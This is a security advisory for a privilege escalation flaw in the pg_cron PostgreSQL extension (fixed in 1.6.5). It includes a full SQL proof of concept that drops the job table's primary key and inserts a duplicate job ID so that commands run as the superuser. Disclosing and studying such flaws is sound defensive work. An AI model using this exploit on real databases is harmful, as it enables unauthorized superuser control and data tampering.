PostgreSQL: Privilege Escalation Vulnerability via pg_cron
HighPublished Mar 5, 2025
### Summary A logical flaw in the pg_cron extension allows low-privileged users with ownership over pg_cron's job table or ability to change the value of cron.database_name to run arbitrary SQL queries as any user including superusers. This is also possible if superuser jobs are explicitly disabled. An attacker can bypass this restriction by removing the uniqueness constraint for the primary key of pg_cron's underlying job table and inserting two jobs with the same `jobId` (one running as e.g. `low-priv-user` and the other one running as `superuser`). Although the `superuser` job is denied, it is mistakenly executed when running the first job because hte `jobId` is used as a reference in pg_cron's internal data structures. ### Severity High - This vulnerability allows a lot privileged user to run arbitrary SQL commands in the context of `superuser`. ### Proof of Concept Enable pg_cron extension with background workers (`postgresql.conf`): ```sql shared_preload_libraries = 'pg_cron' cron.use_background_workers = on ``` Connect to database with superuser (e.g., `postgres`) and create `pg_cron` extension: ```sql postgres=# CREATE EXTENSION pg_cron; ``` Create low-privileged use...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| PostgreSQL - pg_cron Product | < 1.6.5 | 1.6.5 |
Details and references
### Summary A logical flaw in the pg_cron extension allows low-privileged users with ownership over pg_cron's job table or ability to change the value of cron.database_name to run arbitrary SQL queries as any user including superusers. This is also possible if superuser jobs are explicitly disabled. An attacker can bypass this restriction by removing the uniqueness constraint for the primary key of pg_cron's underlying job table and inserting two jobs with the same `jobId` (one running as e.g. `low-priv-user` and the other one running as `superuser`). Although the `superuser` job is denied, it is mistakenly executed when running the first job because hte `jobId` is used as a reference in pg_cron's internal data structures. ### Severity High - This vulnerability allows a lot privileged user to run arbitrary SQL commands in the context of `superuser`. ### Proof of Concept Enable pg_cron extension with background workers (`postgresql.conf`): ```sql shared_preload_libraries = 'pg_cron' cron.use_background_workers = on ``` Connect to database with superuser (e.g., `postgres`) and create `pg_cron` extension: ```sql postgres=# CREATE EXTENSION pg_cron; ``` Create low-privileged user and grant usage access to `cron` schema: ```sql postgres=# CREATE USER "low-priv-user"; postgres=# GRANT USAGE ON SCHEMA cron TO "low-priv-user"; ``` Make the low-privileged user owner of the `cron.job` table (required for the low-privileged user to alter the table): ```sql postgres=# ALTER TABLE cron.job OWNER to "low-priv-user"; ``` Create a temporary table (we will write the output of `CURRENT_USER` here to verify our privileges): ```sql postgres=# CREATE TABLE foo(bar TEXT); postgres=# GRANT ALL PRIVILEGES ON TABLE foo TO "low-priv-user"; ``` Switch to low-privileged user and schedule a legit job via `cron.schedule`: ```sql postgres=# SET ROLE "low-priv-user"; postgres=> SELECT cron.schedule('legit-job', '* * * * *', 'INSERT INTO foo (bar) VALUES(CURRENT_USER)'); ``` This adds an entry in the `cron.job` table: ```sql postgres=> SELECT jobid, username, command FROM cron.job; -------------------------------------------------------------------------- jobid username command -------------------------------------------------------------------------- 1 low-priv-user INSERT INTO foo (bar) VALUES(CURRENT_USER) ``` Drop the uniqueness constraint from the primary key `jobid`: ```sql postgres=> ALTER TABLE cron.job DROP CONSTRAINT job_pkey; ``` Now, we can insert another entry with the same `jobid` (`username` is set to `postgres`): ```sql postgres=> INSERT INTO cron.job (jobid, schedule, nodename, nodeport, command, username) VALUES (1, '* * * * *', 'localhost', 5432, 'INSERT INTO foo(bar) VALUES(USER)', 'postgres'); ``` At this point, there are two entries in the `cron.job` table with the same `jobid`. The second entry has the `username` set to `postgres`: ```sql postgres=> SELECT jobid, username, command FROM cron.job; -------------------------------------------------------------------------- jobid username command -------------------------------------------------------------------------- 1 low-priv-user INSERT INTO foo (bar) VALUES(CURRENT_USER) 1 postgres INSERT INTO foo (bar) VALUES(CURRENT_USER) ``` After the job has been executed, we can verify the `CURRENT_USER` output in the `foo` table: ```sql postgres=> SELECT * FROM foo; -------------------------------------------------------------------------- bar -------------------------------------------------------------------------- postgres ``` ### Further Analysis #### Recommendations The superuser check should be done before storing the `CronJob` data structure in the `CronJobHash` hash table. Fixed version is available and should be updated to 1.6.5. #### Technical Details pg_cron uses a table called cron.job to store scheduled jobs (see [here](https://github.com/citusdata/pg_cron/blob/v1.6.4/pg_cron.sql#L
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Apr 222025 | OnlyOffice: Docker Man-in-the-middle attack (MitM) | Low | No fix yet |
| Mar 282025 | W3C - CSS Validator XXE | High | See the advisory |
| Feb 192025 | PaloAlto OpenConfig Plugin: Command Injection Vulnerability | High8.6 | 2.1.2 |
| Feb 192025 | RSync: Heap Buffer Overflow, Info Leak, Server Leaks, Path Traversal and Safe links Bypass | High | 3.4.0 |
| Feb 32025 | AMD: Microcode Signature Verification Vulnerability | High7.2 | 2024-12-13+2 more |
| Jan 102025 | ENGAGE - Server Displaying Sensitive Information | Low | No fix yet |